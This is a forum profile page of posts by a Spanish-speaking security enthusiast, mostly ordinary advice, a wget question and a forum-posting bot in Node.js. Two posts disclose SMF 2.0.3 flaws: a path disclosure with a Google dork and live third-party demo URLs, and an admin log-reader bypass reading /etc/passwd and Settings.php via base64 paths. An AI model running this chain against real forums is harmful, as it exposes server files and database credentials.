Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#1921
CitarEspero que la gente que responda sepa la diferencia entre Hacker y Crakcer
Yo lo se...
Un hacker es alguien apasionado por la informatica.
Un cracker es el que crackea algo haciendo ingenieria inversa o fuerza bruta.

Una cosa es aprender a troyar para aprender a protegerse o entender sobre como se mueve un malware y otra cosa muy diferente es hacer un post sobre como troyar a mi abuelita.

Vamos... que si quieres aprender a troyar a medio mundo puedes hacerlo de dos formas:

1. bajate un tutorial de algun troyano conocido y ponte a picarle botones al programa como si fuera un piano hasta que algo resulte.

2. comienza leyendo y aprendiendo sobre programación, protocolos, formas de infección, bypasses, antivirus, que es un packer, un poco de ensamblador, un poco de todo, un poco sobre overflows y estrategias de worms, bugs a nivel de kernel y SO, redes, etc.

Como te dijeron en un post, puedes comenzar aprendiendo a programar y luego aprender en la sección de analisis y diseño de malwares para aprender de ellos, no para infectar una pc asi porque se me ocurrió.

Con respecto a lo que dijiste primero:
Citar¿Por que estas cosas si están permitidas... y cuando yo pregunto que libros y/o que lenguajes debo aprender para intrusiones sin enviar troyanos o ejecutables me borran la pregunta?

ejemplo de lo que he leído:

como configurar keyloggers para enviar a VICTIMAS???
ayudas sobre intrusión y como saltar las preguntas de seguridad de hotmail, Gmail...
.......
osea cosas No éticas

Vamos que no veo a nadie diciendo que quiere infectar con keylogger a la pc de su novia (o dinoslo y lo borramos), talves "victima" es su pc de pruebas para testear como funcionan los keyloggers.
Yo muchas veces he llamado victima a mi servidor virtual cuando hago algun tutorial.

Citarformulo otra pregunta que se necesita entonces cual es la forma adecuada de preguntar de alguien que quiere aprender??? porque el conocimiento esta obstruido asi?

se necesita alguna palanca en elhacker.net para aprender?

creo que ire a mirar mas por programacion me interesa aprender leer libros esas cosas toman meses, sobretodo si no te dicen como empezar por donde ir... bajar un jodido keylogger y mirar como se configura en elhacker.net se demora un par de minutos no entiendo porque hay estas preferencias o sera solo azar?

El obstruido eres tu, vamos que esto es internet, no es solo elhacker.net... tienes la sección de tutoriales, programación y google en la segunda pestaña... para aprender necesitas jalar la palanca que dice "autodicacta" o si no junta un buen dinero y te vas a una universidad.

Creo que estas muy mal enfocado, bajar un troyano o keylogger y hacerle doble click no te hace un hacker, comprar una trompeta y ponerla en tus manos no te hace un trompetista, no necesitas ser hacker para descargar un programa y hacerle doble click, un hacker usa su cabeza para sortear multiples restos y dificultades, crear cosas propias o utilizar cosas de alguna forma que nadie mas lo ha hecho, un hacker no es un niño con un notebook y un shadow security scanner,  eso hasta mi abuelita lo puede hacer, un hacker es el que ve una falla y sabe como desbordar la memoria lanzando una shell bypaseando el IDS y el firewall con un 0day propio.

Ten cuidado por donde caminas porque por ahi no va el camino.

Ademas, recuerda leer las reglas antes de usar el foro, si necesitas quejarte formalmente con el staff del foro o el admin debes enviar tu mensaje a staff@elhacker.net y entre todos discutiremos el tema.

Saludos.

PD: recuerda enviarnos los post que creas que infrinjen las reglas del foro o que creas que no son eticos al mismo correo, gracias.
#1922
Algunos me han preguntado para que sirve esta vulnerabilidad:
http://whk.drawcoders.net/index.php/topic,2792.0.html

Otros dicen que no sirve para nada o que el impacto es nulo.

Pues acá les voy a dejar una demosración:

Hace unos minutos encontré otra falla de seguridad en el panel de administración, especificamente en el lector de archivos de errores.

Normalmente esta sección permite ver los archivos de error y cargar la url via petición GET:
http://test.com/forum/index.php?action=admin;area=logs;sa=errorlog

Si revisamos el código fuente en el archivo /Sources/ManageErrors.php linea 340 veremos lo siguiente:
Código (php) [Seleccionar]
// Make sure the file we are looking for is one they are allowed to look at
    if (!is_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
        fatal_lang_error('error_bad_file', true, array(htmlspecialchars($file)));


Como vemos, SMF ha puesto una traba para que nos imposibilite mostrar archivos que no esten dentro del directorio de smf, nos restringen urls tales como ../../../../foo a traves de esta función:
Código:
strpos($file, '../')

Ahora, vemos que no necesitamos el string "../" para saltar hacia otros directorios, hacemos un bypass de la siguiente manera: /home/?/public_html/forum/file.

La pueba de concepto:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=

donde file es /etc/passwd en base64:
Citar1:     root:x:0:0:root:/root:/bin/bash
2:     bin:x:1:1:bin:/bin:/sbin/nologin
3:     daemon:x:2:2:daemon:/sbin:/sbin/nologin
4:     adm:x:3:4:adm:/var/adm:/sbin/nologin
5:     lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6:     sync:x:5:0:sync:/sbin:/bin/sync
7:     shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8:     halt:x:7:0:halt:/sbin:/sbin/halt
9:     mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10:     news:x:9:13:news:/etc/news:
11:     uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
12:     operator:x:11:0:operator:/root:/sbin/nologin
13:     games:x:12:100:games:/usr/games:/sbin/nologin
14:     gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
15:     ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
16:     nobody:x:99:99:Nobody:/:/sbin/nologin
17:     mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
18:     smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
19:     apache:x:48:48:Apache:/var/www:/sbin/nologin
20:     nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

Ahora... que pasa si queremos obtener un archivo oculto del foro? digamos la conexión de MySQL o la contraseña de un IRC?
Lo primero que necesitamos es saber cual es la ruta absoluta :D asi que hacemos lo siguiente....

Paso 1. Vamos a http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
Obtenemos la ruta:
Citar<blockquote>Warning: Missing argument 1 for ssi_fetchPosts() in /home/spadmin/public_html/SSI.php on line 316</blockquote>

Paso 2. Ahora vamos a hacerle bypass al lector de archivo de errores:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=

Donde "L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=" es igual a "/home/spadmin/public_html/Settings.php"

De esta forma un path disclosure puede permitir a un atacante saber en que directorio estan los archivos mas sensibles del sistema y leerlos a gusto y gana.

Saludos.

Fuente:
http://whk.drawcoders.net/index.php/topic,2805.0.html
#1923
Hola, encontré una falla de seguridad de tipo path disclosure en SMF 2.0.3 que también afecta a todas las versiones anteriores. Acá les dejo el resumen:

Summario:

--------------
Una falla de seguridad permitiría a un atacante conocer el directorio local donde se encuentra el sistema web.

Detalles:
-----------
SSI.php Linea 294:
// Fetch a post with a particular ID. By default will only show if you have permission to the see the board in question - this can be overriden.
function ssi_fetchPosts($post_ids, $override_permissions = false, $output_method = 'echo')
{

$post_id no está definido. Posible solución: ($post_id = false)


Prueba de concepto:
-------
http://example.com/forumpath/SSI.php?ssi_function=fetchPosts

Google Dorks:
---------------------
inurl:?index.php?action=help

Demos:
-----------
http://simpleportal.net/SSI.php?ssi_function=fetchPosts
http://www.furgovw.org/SSI.php?ssi_function=fetchPosts
http://www.teachmideast.com/forum_old/SSI.php?ssi_function=fetchPosts
http://www.slowracing.com/jaxfox/SSI.php?ssi_function=fetchPosts
http://www.iptv2you.com/board/SSI.php?ssi_function=fetchPosts
http://voceteopr.com/SSI.php?ssi_function=fetchPosts
http://www.thesilverball.com/SSI.php?ssi_function=fetchPosts
http://othforums.com/SSI.php?ssi_function=fetchPosts
http://www.skinmod.eu/SSI.php?ssi_function=fetchPosts


Solución temporal:
---------------------

En el archivo SSI.php linea 45 dice:
$ssi_error_reporting = error_reporting(defined('E_STRICT') ? E_ALL | E_STRICT : E_ALL);

Reemplazar por:
$ssi_error_reporting = error_reporting(0);


Funciones afectadas:
-----------------------

. fetchMember
. fetchPosts
. fetchGroupMembers
. queryMembers

Fuentes:
http://whk.drawcoders.net/index.php/topic,2792.0.html
http://seclists.org/fulldisclosure/2013/Jan/14
#1924
esooo!!!! está muy bueno para que la gente conozcan las demas secciones de elhacker.net y que sepan que no es solamente foro :D
#1925
GNU/Linux / duda con wget
2 Enero 2013, 17:59 PM
Hola, estoy intentando crear una linea de comandos para hacer un respaldo de mi sitio web, he pasado por varios incinvenientes pero al fin me queda uno solo y es que cuando wget entra a un directorio me guarda por defecto un index.html con su contenido, como puedo decirle a wget que no me haga ese archivo? no me sirve exluir los index.html porque hay algunos index.html que si valen.

Miren...

No vale: http://web.com/dir1/ (este es el indice de archivos a descargar y debo omitir)
Si vale: http://web.com/dir1/index.html

como puedo decirle eso a wget?, lo que sucede es que tengo un +indexes en htaccess que me permite ver todo y los index.html no se interpretan como home en el servidor permitiendome la descarga directa.

Gracias de antemano.
#1926
preciona la tecla windows (la banderita) + R, ambos juntos y te saldrá una ventanita que dice "ejecutar" y le escribes "control" y presionas enter.

con esto te aparecerá el panel de control y con eso podras desinstalar el age of empires o si no tambien puedes ejecutar el taskmgr para ver los procesos, o si no puedes ejecutar "tskill explorer && start explorer" y con eso reiniciarás el entorno gráfico.

prueba como te han dicho, inicia a modo de prueba de fallos y con eso podras repararlo o si no tendras que utilizar restaurar sistema a menos que quieras enviarlo a un técnico.
#1927
hazle un hook al textview :P asi como alguien una ves hizo un módulo para hacerle un hook al treelistview para ocultar procesos en el taskmanager.

windows obtiene dicho valor desde la bios, de todas formas ese valor está en el registro del sistema despues de ser modificado en cada arranque, el problema es que si modificas dicho valor el sistema se va a volver inestable porque va a comenzar a escribir donde no hay espacio, el tamaño de la memoria virtual aumentará desmedidamente y tu procesador no se adaptará a las operaciones transmitidas desde el nucleo causando que... tu pc se reinicie al instante, que aparezca un pantallazo azul, que se queme alguna pieza de tu pc como sucedía con algunos modelos antiguos al ponerle mas ram de lo que podian soportar las placas con lo de la ram en una memoria usb... pero lo mas probable es que simplemente te de un pantallazo azul y listo.

Por eso lo mas efectible es lo que te dice Høl¥, el problema es que si cierra la ventana y la vuelve a abrir estarás frito porque se eliminará tu modificación de la memoria y mostrará el valor real, en cambio si haces una aplicación que le haga un hook al control del texto entonces podrás hacer que se modifique cada ves que inicie la ventana de propiedades.

Saludos.
#1928
Alguna ves han escuchado esa mitica historia de alguien que con silbar o emitir un ruido de un pito que venia en una caja de cereales hacia que el teléfono enviara una señal a la central telefónica permitiendo hacer llamadas gratuitas? pues si, fue real hace muchisimos años y acá lo entrevistaron:

[youtube=640,360]http://www.youtube.com/watch?v=pXHnYKWg9DY[/youtube]

CitarQuien lleve ya un tiempo en esto de la seguridad informática, debe saber quien es John Draper AKA Captain Crunch, uno de los pioneros en testear la seguridad de las centrales telefónicas (el sistema de comunicaciones mas avanzado de su época), quien saltó a la fama después de dar a conocer que el silbato que venia como juguete dentro de las cajas de los cereales Captain Crunch (de aquí su nick) emitía un sonido de 2600 Hz, que permitía utilizar la línea en modo "operador" y entre otras cosas hacer llamadas gratis.

Post original:
http://www.dragonjar.org/entrevista-exclusiva-con-el-captain-crunch-para-la-comunidad-dragonjar.xhtml

me ha gustado muchisimo el video!
#1929
se que a algunos les va a gustar esto :D acabo de hacer un robot que me ayuda a realizar tareas básicas como por ejemplo actualizar las noticias de mi foro :)

Lo entrete es que siempre me responde de diferentes maneras segun su estado de animo que aun no termino de perfeccionar xD

¿Como lo hago en la práctica?

1. Primero que nada tengo un monton de paginas webs y resultados de google noticias en google reader.
2. Desde mi celular con android utilizo un lector de rss y le agregué mi cuenta de google reader (utilizo reader hd)
3. cada ves que leo las noticias y me gusta una la marco simplemente con una estrella y se va a favoritos en mi cuenta de google reader.
4. andres.js se loguea en google reader y sincroniza los items favoritos y los postea de forma automatica en el foro logueandose previamente con un usuario "Andres".
5. despues de marcar con estrella los temas que me gustan abro la consola y ejecuto control.js y le digo que necesito sincronizar las noticias del foro.
6. control.js llama a andres.js para que los sincronize y ya está :D

Paso1 (Agrego mis lecturas rss favoritas a google reader, se sincronizan solas):


Paso 2 (leo google reader desde mi celular en el metro, en la calle, en mi casa y marco la noticia interesante):


Paso 3 (cuando me siento frente a la pc le digo a control que sincronize el foro):


Paso 4 (posteado! :D):


El robot es capaz de sincronizar todas las noticias al mismo tiempo, si tienes 50 marcadas posteará los 50 una por una.

Acá les dejo el código fuente de control por si alguien lo quiere utilizar, también les dejo el de andres que aun me falta perfeccionarlo mas, tambien quiero que tome temas desde mi correo directamente pero eso aun no lo he implementado.

Saludos y a disfrutar :)

control.js:
Código (javascript) [Seleccionar]
/* control ia por WHK */
var readline = require('readline');
var exec = require('child_process').exec;

/* Configuración inicial */
var nombreRobot = 'Control';
var nivelFelicidad = 2;
var ultimoComando = {
comando : false,
argumentos : {},
esperandoConfirmacion : false
};

///////////////////////////////////////////////////
String.prototype.repeat = function(num){
return new Array(num + 1).join(this);
}

function rand(min, max){
return Math.floor(Math.random() * (max - min + 1)) + min;
}

/* Expresiones */
var expresiones = {
felicidad_0 : new Array(':\'(', ':(', 'D\':', 'x__x'),
felicidad_1 : new Array(':(', ':-/', 'D:', ':-\\'),
felicidad_2 : new Array(':)', 'u.u', 'o.o', ':3', ':B'),
felicidad_3 : new Array(':D', 'xD', 'xDD'),
asombro : new Array(':O', ':-O', ':-o', ':-0', '0__0', '0___o', 'o__0', '0____0', '0_0'),
pensando : new Array('mmmmm... ', 'eehmmmm... ', 'eehhh... ', 'mmmmmmmmm... ', 'mmmm... ', 'ehmmm... ')
}

var disculpas = new Array('disculpa pero', 'sorry pero', 'omg, ', 'sorry');

/* Funciones */

var varRand = function(arr){
var max = (arr.length - 1);
if(max < 0)
max = 0;
var res = arr[rand(0, max)];
if(res == 'undefined')
res = arr[0];
return res;
}

var caritaFelicidad = function(){

if(typeof(expresiones['felicidad_' + nivelFelicidad]) == 'undefined')
return ':)';
else
return varRand(expresiones['felicidad_' + nivelFelicidad]);
}

var saludo = function(){
var decir = '';
var saludo_a = new Array('hola', 'buenas');
var saludo_b = new Array('k tal', 'como estas', 'como has estado');
var saludo_c = new Array(
'¿en que puedo ayudar?', '¿en que puedo ayudarte?',
'¿que puedo hacer por ti?', 'estoy atento a tus ordenes',
'estoy preparado para ayudarte', 'cuentame, que necesitas?',
'dime, que necesitas', 'dime, que hago?',
'cuentame', 'cuentame, que hago?',
'¿que necesitas?', '¿que debo hacer?'
);

decir += varRand(saludo_a);
if(rand(0, 100) < 51) // 50% de probabilidades para que salude con una doble entrada
decir += ' ' + varRand(saludo_b);
decir += ', ' + varRand(saludo_c);
return decir;
}

var despedida = function(){
var despedida_a = new Array('nos vemos', 'adios', 'bye', 'chao', 'chau');
var despedida_b = new Array('un abrazo', 'fue un gusto', ':)')
return varRand(despedida_a) + ', ' + varRand(despedida_b);
}

var enQueMasPuedoAyudar = function(){
var enQueMasPuedoAyudar_a = new Array(
'¿en que mas te puedo ayudar?', '¿que mas debo hacer?',
'¿en que mas puedo ayudar?', '¿en que mas puedo ayudarte?',
'¿que mas puedo hacer por ti?', 'estoy atento a tus ordenes',
'que mas necesitas?', 'que mas hago?'
);
return varRand(enQueMasPuedoAyudar_a);
}

var yaLoHize = function(){
var yaLoHize_a = new Array('listo!', 'listooo ' + caritaFelicidad(), 'listoooo! ' + caritaFelicidad() + ' ' + caritaFelicidad(), 'yap,');
var yaLoHize_b = new Array('ya terminé', 'terminé', 'ya lo hize.. wiii ' + caritaFelicidad(), 'termineee wii ' + caritaFelicidad(), 'terminé por fin ' + risa());
return varRand(yaLoHize_a) + ' ' + varRand(yaLoHize_b);
}

var noEntender = function(){
var noEntender_b = new Array(
'no entendí nada de lo que me escribiste ' + caritaFelicidad() + ' ' + risa(),
'no entendí nada de lo que me escribiste ' + risa() + ' ' + caritaFelicidad(),
'no entendí lo que dijiste :-/',
'no entendí ' + risa() + ' :p',
'no entendí xd',
'no comprendo lo que me quieres decir',
'no tengo ni idea que me quieres decir',
'no tengo ni idea de lo que me escribes'
);
var noEntender_c = new Array(
'me lo puedes explicar con otras palabras?',
'me lo explicas nuevamente?',
'escribemelo otraves pero explicate mejor',
'explicamelo con otras palabras',
'explicate bien',
'explicamelo bien nuevamente'
);
var noEntender_d = new Array(
'porfa',
'por favor'
);

return varRand(disculpas) + ' ' + varRand(noEntender_b) + ', ' + varRand(noEntender_c) + ' ' + varRand(noEntender_d);
}

var risa = function(){
var risaTexto = '';
var selectorPrimero = new Array('j', 'h');
/* Prioriza la letra j antes que la h */
if(rand(0, 100) < 15)
selectorPrimero = selectorPrimero[1];
else
selectorPrimero = selectorPrimero[0];

var selectorSegundo = 'a';
var cantidadPlaneada = parseInt((parseInt(nivelFelicidad) * 2.5));

/* Si todos escribieramos "jajaja" siempre con exactamente 6 letras seriamos robots. */
cantidadPlaneada = rand(cantidadPlaneada - 1, cantidadPlaneada + 2);

for(var i = 0; i <= cantidadPlaneada; i++){

if(i == 0){ // La primera letra de una risa casi siempre comienza con ja o ha o ka, etc

if(rand(0, 100) < 7) // 6% de probabilidades de que no comienze con una letra primaria
risaTexto += selectorSegundo;
else
risaTexto += selectorPrimero;

}else{

if(i%2 == 0){ // Letras primarias y secundarias intercaladas

if(rand(0, 100) < 5) // 9% de probabilidades de que repita la misma letra
risaTexto += selectorSegundo;
else // Letra que normalmente debiera ser escrita
risaTexto += selectorPrimero;

}else{
if(rand(0, 100) < 5) // 9% de probabilidades de que repita la misma letra
risaTexto += selectorPrimero;
else // Letra que normalmente debiera ser escrita
risaTexto += selectorSegundo;

}

}
}

/* La ultima letra preferentemente debe ser una letra secundaria */
if(rand(0, 100) < 7) // 6% de probabilidades de que no comienze con una letra primaria
risaTexto += selectorPrimero;
else
risaTexto += selectorSegundo;

return risaTexto;
}

/* Funciones */
var escribir = function(texto, quien){
texto = '' + texto;
/* Retorna con la primera letra en mayuscula */

if(quien == 'control')
console.log(nombreRobot + ' : ' + texto.substr(0,1).toUpperCase() + texto.substr(1, texto.length) + '.');

else if(quien == 'usuario')
console.log('Yo' + ' '.repeat(nombreRobot.length - 2) + ' : ' + texto.substr(0,1).toUpperCase() + texto.substr(1, texto.length) + '.');

else
console.log(' ' + texto);
}

var bashExec = function(cmd, callback){
var codeReturn = 0;
var ex = exec(cmd, function (error, stdout, stderr){});

ex.stdout.on('data', function (data){
escribir(data.trim(), 'shell');
});

ex.on('exit', function (code){
codeReturn = code;
if(typeof(callback) == 'function')
callback(code);
});
}

var interactuar = function(saludar){

/* Saluda si corresponde */
if(saludar) // Ha comensado la sesión
escribir(saludo(), 'control');

var rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});

rl.question('Yo' + ' '.repeat(nombreRobot.length - 2) + ' : ', function(escuchado){
rl.close();

if(ultimoComando.esperandoConfirmacion){

if(/.*?(^si|asi es|^claro$)/.test(escuchado)){

/* Ejecuta el comando */
if(ultimoComando.comando == 'bash'){
escribir('ejecutando: ' + ultimoComando.argumentos.cmd + ' ...', 'control');
bashExec(ultimoComando.argumentos.cmd, function(code){
escribir(yaLoHize(), 'control');
escribir(enQueMasPuedoAyudar(), 'control');
ultimoComando.esperandoConfirmacion = false;
interactuar(false);
});

}else{
escribir(disculpas[rand(0, disculpas.length - 1)] + ' no se cual es el comando ' + ultimoComando.comando + ' :-s', 'control');
escribir(enQueMasPuedoAyudar(), 'control');
ultimoComando.esperandoConfirmacion = false;
interactuar(false);
}

/* no era lo que se quería */
}else if(/.*?(^no|nop|^err|^lol)/.test(escuchado)){
ultimoComando = {
comando : false,
argumentos : {},
esperandoConfirmacion : false
};

var disculparse_a = new Array(
'he cancelado el comando',
'ya cancelé el comando'
);
var disculparse_b = new Array(
'te habia entendido mal',
'no te habia entendido bien',
'leí mal',
'casi la kgo xD'
);
escribir(disculpas[rand(0, disculpas.length - 1)] + ' ' + disculpas_a[rand(0, disculpas_a.length - 1)] + ', ' + disculpas_b[rand(0, disculpas_b.length - 1)], 'control');
interactuar(false);

}else{
escribir(noEntender(), 'control');
interactuar(false);
}

}else{
/* ¿Que debo hacer y/o decir? */
if(/(bye|chao|adios|a dios|nos vemos|hasta luego|hasta la vista|hasta la prox|buenas noches|me voy|salir|cierrate|arrancate|largate|pierdete|pudrete)/.test(escuchado)){
escribir(despedida(), 'control');

}else if(/^(nada|nada mas|en nada|ninguna)/.test(escuchado)){
escribir(despedida(), 'control');

}else if(/(andate a la)/.test(escuchado)){
escribir('allá mismo me voy, ' + despedida(), 'control');

}else if(/(andate a(.*)tirate|anda a(.*)tirate)/.test(escuchado)){
escribir('allá mismo voy y me tiro ' + risa() + ', ' + despedida(), 'control');

}else if(/.*?(actualiza|sincroniza|actualizar|actualices|actualises|actualizes|sincronices|sincronises|sincronizar).*?(rss|noticias|noticia).*?(del|para|sobre|en).*?(foro)/.test(escuchado)){

escribir(varRand(Array(
'entiendo que necesitas que sincronize el rss de google reader con el foro verdad?',
'necesitas que sincronize el rss de google reader con el foro?',
'¿actualizo las noticias del foro?',
'¿debo actualizar las noticias del foro?',
'si entendí bién, quieres que actualize las noticias del foro?'
)), 'control');

ultimoComando = {
comando : 'bash',
argumentos : { cmd: 'node ./andres.js' },
esperandoConfirmacion : true
};
interactuar(false);

}else{
escribir(noEntender(), 'control');
interactuar(false);
}
}

delete(escuchado);
});
}

interactuar(true);


andres.js:
Código (javascript) [Seleccionar]
/* Andres V 1.1 - Revisa y postea temas en SMF 2.0.x de forma automatizada. por WHK */
/* Para no repetir los temas lo que hace es crear un directorio con subcarpetas,
* una carpeta por cada md5(titulo) de los post, luego se verifica que el directorio exista o si no
* se posteará y lo creará. Evita la utilización de archivos para ahorrar espacio en disco. */


var http = require("http");
var https = require("https");
var crypto = require('crypto');
var fs = require('fs');

/* Función rápida de MD5 */
md5 = function(str){
var md = crypto.createHash('md5');
md.update(str);
return md.digest('hex');
}

/* Configuración */
var sesion = {
SID : '',
LSID : '',
Auth : '',
token : ''
};
var bufferIO = '';
var obNoticias = {};
var nNoticias = 0;
var bufferGoogle = '';

var dirNombreDB = 'dbAndres';

/* Cuenta gmail para acceder a google reader */
var loginData = {
mail : 'yan.uniko.102@gmail.com',
pass : '*****'
};

var foro = {
host : 'whk.drawcoders.com',
port : 80,
pathPhp : '/index.php',
idForo : 61, /* Foro de noticias, id 61 */
user : 'Andres',
pass : '*****',

cookies : '' /* No modificar */
}

console.log(' - Conectando al servidor de Google Reader ...');

https.get('https://www.google.com/accounts/ClientLogin?service=reader&source=reader&Email=' + escape(loginData.mail) + '&Passwd=' + escape(loginData.pass),
function(res){

/* esperando un HTTP 200 */
if(res.statusCode == 200){
console.log(' - Obteniendo llaves de acceso ...');

/* Procesa el contenido */
res.on('data', function(chunk){
bufferIO += chunk.toString() + '';
}).on('end', function(){

bufferIO = bufferIO.trim(); /* Limpia el buffer de cualquier basura extra */

/* Autentificado? */
if(bufferIO == 'Error=BadAuthentication'){
console.log(' - Clave de acceso erronea.');
return false;
}

var partes = bufferIO.split('\n');
if(!partes.length){
console.log(' - Imposible ingresar, google no ha respondido correctamente.');
return false;
}
bufferIO = ''; /* Limpia la memoria */

var linea;
for(_id in partes){
linea = partes[_id].trim().split('=');
if((linea[0] == 'SID') || (linea[0] == 'LSID') || (linea[0] == 'Auth')){
sesion[linea[0]] = linea[1];
}
}

console.log(' - Obteniendo token de seguridad ...');
http.get({
host : 'www.google.com',
port : 80,
path : '/reader/api/0/token',
headers: {
               'Authorization': 'GoogleLogin auth=' + sesion['Auth']
           }

}, function(res2){

/* esperando un HTTP 200 */
if(res2.statusCode == 200){

/* Procesa el contenido */
res2.on('data', function(chunk2){
bufferIO += chunk2.toString() + '';
}).on('end', function(){
sesion['token'] = bufferIO;
console.log(' - Acceso concedido!');

bufferIO = ''; /* Limpia la memoria */

console.log(' - Obteniendo temas ...');
/* ############################ Obtiene las noticias ############################ */
http.get({
host : 'www.google.com',
port : 80,
path : '/reader/api/0/stream/contents/user/-/state/com.google/starred?ck=' + Math.floor(new Date().getTime() / 1000),
headers: {
           'Authorization': 'GoogleLogin auth=' + sesion['Auth']
       }

}, function(res3){
/* esperando un HTTP 200 */
if(res3.statusCode == 200){

bufferIO = '';
/* Procesa el contenido */
res3.on('data', function(chunk3){
bufferIO += chunk3.toString() + '';
}).on('end', function(){
bufferGoogle = bufferIO; /* Guarda el buffer para futuras auditorias */
try{
eval('obNoticias = ' + bufferIO + ';'); /* Procesa el Json entregado por Google */

}catch(e){
console.log(' - Error en el servidor de Google Reader : Json corrupto.');
return false;
}

var tmpNoticiasItems = {};

for(_id in obNoticias.items){
/* Verifica si ya ha sido posteado para sincronizar y no repostear */
if(!fs.existsSync('./' + dirNombreDB + '/' + md5(obNoticias.items[_id].title))){

/* Agrega al objeto */
tmpNoticiasItems[nNoticias] = obNoticias.items[_id];

/* Cuenta la cantidad de items */
nNoticias++;
}
}

/* Traspasa los items encontrados */
obNoticias.items = tmpNoticiasItems;
delete tmpNoticiasItems;

if(nNoticias > 0){
console.log(' - ' + nNoticias + ' Items obtenidos sin sincronizar.');

console.log(' - Autentificandose en el foro ...');
/* Obtiene las cookies necesarias para postear en el foro con SMF 2.0 */
var post_data = 'user=' + escape(foro.user) + '&passwrd=' + escape(foro.pass) + '&cookielength=1000';
var post = http.get({
host : foro.host,
port : foro.port,
path : foro.pathPhp + '?action=login2',
method : 'POST',  
headers: {  
'Content-Type' : 'application/x-www-form-urlencoded',  
'Content-Length' : post_data.length  
}

}, function(res4){
/* esperando un HTTP 302 */
if(res4.statusCode == 302){

/* Procesa el contenido */
res2.on('data', function(chunk2){
// Página de error con el formulario de reingreso
}).on('end', function(){
// Página de error con el formulario de reingreso
});

var cookiesMatris = {};
var partesCookie = {};
for(_key in res4.headers['set-cookie']){
partesCookie = res4.headers['set-cookie'][_key].split(';');
partesCookie = partesCookie[0].split('=');

if(typeof(cookiesMatris[partesCookie[0]]) == 'undefined')
cookiesMatris[partesCookie[0]] = ''; // var? bug nodejs
cookiesMatris[partesCookie[0]] = partesCookie[1].trim();
}

/* Parsea las cookies a String */
for(_key in cookiesMatris)
foro.cookies += _key + '=' + cookiesMatris[_key] + '; ';
foro.cookies = foro.cookies.trim();

if(foro.cookies.length){

console.log(' - Verificando la cuenta ...');
/* Carga la url de redirección que previene el ingreso de robots (menos este) */
http.get(res4.headers.location, function(res5){
/* Se ha finalizado la conexión de verificación, no es necesario procesar los datos */

/* Postea en el foro los items */
var idPost = 0;
var postea = function(data, hash){

/* Vuelve a verificar por segunda ves que la noticia no fue posteada para asegurarnos */
if(fs.existsSync('./' + dirNombreDB + '/' + escape(hash))){
console.log(' - El post ya existe.');
idPost++;
obtieneToken();
return false;
}

var post2 = http.get({
host : foro.host,
port : foro.port,
path : foro.pathPhp + '?action=post2;start=0;board=' + parseInt(foro.idForo),
method : 'POST',
headers: {
'Cookie' : foro.cookies,
'Content-Type' : 'application/x-www-form-urlencoded',  
'Content-Length' : data.length  
}
}, function(res6){

/* esperando un HTTP 302 */
if(res6.statusCode == 302){

/* Si no existe el directorio de la base de datos lo creará */
if(!fs.existsSync('./' + dirNombreDB))
fs.mkdir('./' + dirNombreDB);
fs.mkdir('./' + dirNombreDB + '/' + escape(hash));

/* Se ha finalizado el posteo, no es necesario procesar los datos */
idPost++;
obtieneToken();

}else if(res6.statusCode == 200){
/* Acceso denegado? */
bufferIO = '';
/* Procesa el contenido */
res6.on('data', function(chunk6){
bufferIO += chunk6.toString() + '';
}).on('end', function(){
// console.log(bufferIO);
console.log(' - Error al postear en el servidor del foro : ' + res6.statusCode + '. Baneado?');
return false;
});

}else{
console.log(' - Error al postear en el servidor del foro : ' + res6.statusCode);
return false;
}

});
try{ post2.write(data); }catch(e){}
}

var obtieneToken = function(){
if(typeof(obNoticias.items[idPost]) == 'undefined'){
console.log(' - Finalizado!');
return true;

}else{
console.log(' - Posteando [' + (idPost + 1) + '/' + nNoticias + ']: ' + obNoticias.items[idPost].title.substr(0, 48) + ' ...');

if(typeof(obNoticias.items[idPost].summary) == 'undefined')
var content = obNoticias.items[idPost].content.content;
else
var content = obNoticias.items[idPost].summary.content + ' ... Seguir link de la fuente para continuar leyendo.';

/* Agrega la referencia */
content += '<br /><br />Fuente: [url]' + obNoticias.items[idPost].alternate[0].href + '[/url]';

http.get({
host : foro.host,
port : foro.port,
path : foro.pathPhp + '?action=post;board=' + parseInt(foro.idForo) + '.0',
headers: { 'Cookie' : foro.cookies }
}, function(res5){
/* esperando un HTTP 200 */
if(res5.statusCode == 200){

bufferIO = '';
/* Procesa el contenido */
res5.on('data', function(chunk5){
bufferIO += chunk5.toString() + '';
}).on('end', function(){

/* Obtiene el hash de posteo que no sirve de nada */
var seqnum = bufferIO.split('input type="hidden" name="seqnum" value="');
seqnum = seqnum[1].split('"');
seqnum = seqnum[0].trim();
var svEdit = bufferIO.split("sSessionVar: '");
svEdit = svEdit[1].split("'");
svEdit = svEdit[0];
var siEdit = bufferIO.split("sSessionId: '");
siEdit = siEdit[1].split("'");
siEdit = siEdit[0];

postea(
'topic=0&icon=xx&sel_face=&sel_size=&sel_color=&message_mode=1&notify=0&lock=0&goback=1&sticky=0&move=0&additional_options=0seqnum=' + escape(seqnum) + '&' + escape(svEdit) + '=' + escape(siEdit) + '&subject=' + escape(obNoticias.items[idPost].title) + '&message=' + escape(content),
md5(obNoticias.items[idPost].title)
);
});

}else{
console.log(' - Error en el servidor del foro : ' + res5.statusCode);
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor del foro.');
return false;
});
}
}

/* Inicia el loop de posteos */
console.log(' - Sincronizando temas ...');
obtieneToken();

}).on('error', function(e){
console.log(' - Imposible conectar al servidor del foro.');
